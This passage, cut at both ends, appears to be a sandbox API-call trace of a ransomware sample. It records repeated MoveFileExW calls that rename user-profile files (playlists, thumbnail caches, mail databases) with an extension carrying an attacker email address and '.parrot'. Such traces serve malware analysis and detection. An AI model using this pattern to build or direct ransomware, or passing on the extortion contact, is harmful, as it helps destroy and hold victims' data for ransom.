playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\02_Music_added_in_the_last_month.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\02_music_added_in_the_last_month.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.100] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62dff0 | out: hHeap=0x5b0000) returned 1 [0108.100] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.100] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a650 | out: hHeap=0x5b0000) returned 1 [0108.104] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\03_Music_rated_at_4_or_5_stars.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\03_music_rated_at_4_or_5_stars.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ee50 | out: hHeap=0x5b0000) returned 1 [0108.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.105] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a650 | out: hHeap=0x5b0000) returned 1 [0108.109] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\04_Music_played_in_the_last_month.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\04_music_played_in_the_last_month.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62dff0 | out: hHeap=0x5b0000) returned 1 [0108.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.110] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a650 | out: hHeap=0x5b0000) returned 1 [0108.113] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\05_Pictures_taken_in_the_last_month.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\05_pictures_taken_in_the_last_month.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62dff0 | out: hHeap=0x5b0000) returned 1 [0108.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0108.118] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\06_Pictures_rated_4_or_5_stars.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\06_pictures_rated_4_or_5_stars.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.118] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ee50 | out: hHeap=0x5b0000) returned 1 [0108.118] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.118] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0108.122] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\07_TV_recorded_in_the_last_week.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\07_tv_recorded_in_the_last_week.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ee50 | out: hHeap=0x5b0000) returned 1 [0108.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.122] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a650 | out: hHeap=0x5b0000) returned 1 [0108.126] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\08_Video_rated_at_4_or_5_stars.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\08_video_rated_at_4_or_5_stars.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ee50 | out: hHeap=0x5b0000) returned 1 [0108.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a650 | out: hHeap=0x5b0000) returned 1 [0108.137] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\09_Music_played_the_most.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\09_music_played_the_most.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ee50 | out: hHeap=0x5b0000) returned 1 [0108.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.139] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a650 | out: hHeap=0x5b0000) returned 1 [0108.172] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\10_All_Music.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\10_all_music.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.173] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264c48 | out: hHeap=0x5b0000) returned 1 [0108.173] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.173] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a650 | out: hHeap=0x5b0000) returned 1 [0108.177] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264c48 | out: hHeap=0x5b0000) returned 1 [0108.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.178] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0108.181] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\12_All_Video.wpl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\12_all_video.wpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264c48 | out: hHeap=0x5b0000) returned 1 [0108.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.182] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a650 | out: hHeap=0x5b0000) returned 1 [0108.196] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog.etl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\explorerstartuplog.etl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog.etl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\explorerstartuplog.etl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669f70 | out: hHeap=0x5b0000) returned 1 [0108.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.197] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a460 | out: hHeap=0x5b0000) returned 1 [0108.205] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog_RunOnce.etl" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\explorerstartuplog_runonce.etl"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\ExplorerStartupLog_RunOnce.etl.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\explorerstartuplog_runonce.etl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267c80 | out: hHeap=0x5b0000) returned 1 [0108.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2242118 | out: hHeap=0x5b0000) returned 1 [0108.210] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x687a18 | out: hHeap=0x5b0000) returned 1 [0108.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.211] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6054e0 | out: hHeap=0x5b0000) returned 1 [0108.271] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x687a18 | out: hHeap=0x5b0000) returned 1 [0108.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0108.281] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x687a18 | out: hHeap=0x5b0000) returned 1 [0108.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6054a8 | out: hHeap=0x5b0000) returned 1 [0108.285] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x687a18 | out: hHeap=0x5b0000) returned 1 [0108.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.286] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6054e0 | out: hHeap=0x5b0000) returned 1 [0108.289] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x687a18 | out: hHeap=0x5b0000) returned 1 [0108.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6572a0 | out: hHeap=0x5b0000) returned 1 [0108.293] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.294] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x687a18 | out: hHeap=0x5b0000) returned 1 [0108.294] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.294] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6054a8 | out: hHeap=0x5b0000) returned 1 [0108.334] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x644308 | out: hHeap=0x5b0000) returned 1 [0108.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x23f0020 | out: hHeap=0x5b0000) returned 1 [0108.347] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.348] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0108.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a650 | out: hHeap=0x5b0000) returned 1 [0108.352] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.353] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0108.353] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.353] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0108.356] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x645f98 | out: hHeap=0x5b0000) returned 1 [0108.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af250 | out: hHeap=0x5b0000) returned 1 [0108.452] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\edb00001.log.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\edb00001.log.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x687fe8 | out: hHeap=0x5b0000) returned 1 [0108.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.456] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0108.502] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.msmessagestore"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.MSMessageStore.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.msmessagestore.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267c80 | out: hHeap=0x5b0000) returned 1 [0108.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.504] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0108.517] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.pat"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\WindowsMail.pat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\backup\\new\\windowsmail.pat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.518] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x66a088 | out: hHeap=0x5b0000) returned 1 [0108.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.519] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31904e0 | out: hHeap=0x5b0000) returned 1 [0108.525] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.chk"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.chk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.526] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6443e0 | out: hHeap=0x5b0000) returned 1 [0108.526] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.526] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222e0d0 | out: hHeap=0x5b0000) returned 1 [0108.579] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0108.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6443e0 | out: hHeap=0x5b0000) returned 1 [0108.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62de68 | out: hHeap=0x5b0000) returned 1 [0108.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0108.706] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log.[cryptonationusa@protonmail.com].parrot" (normalized: 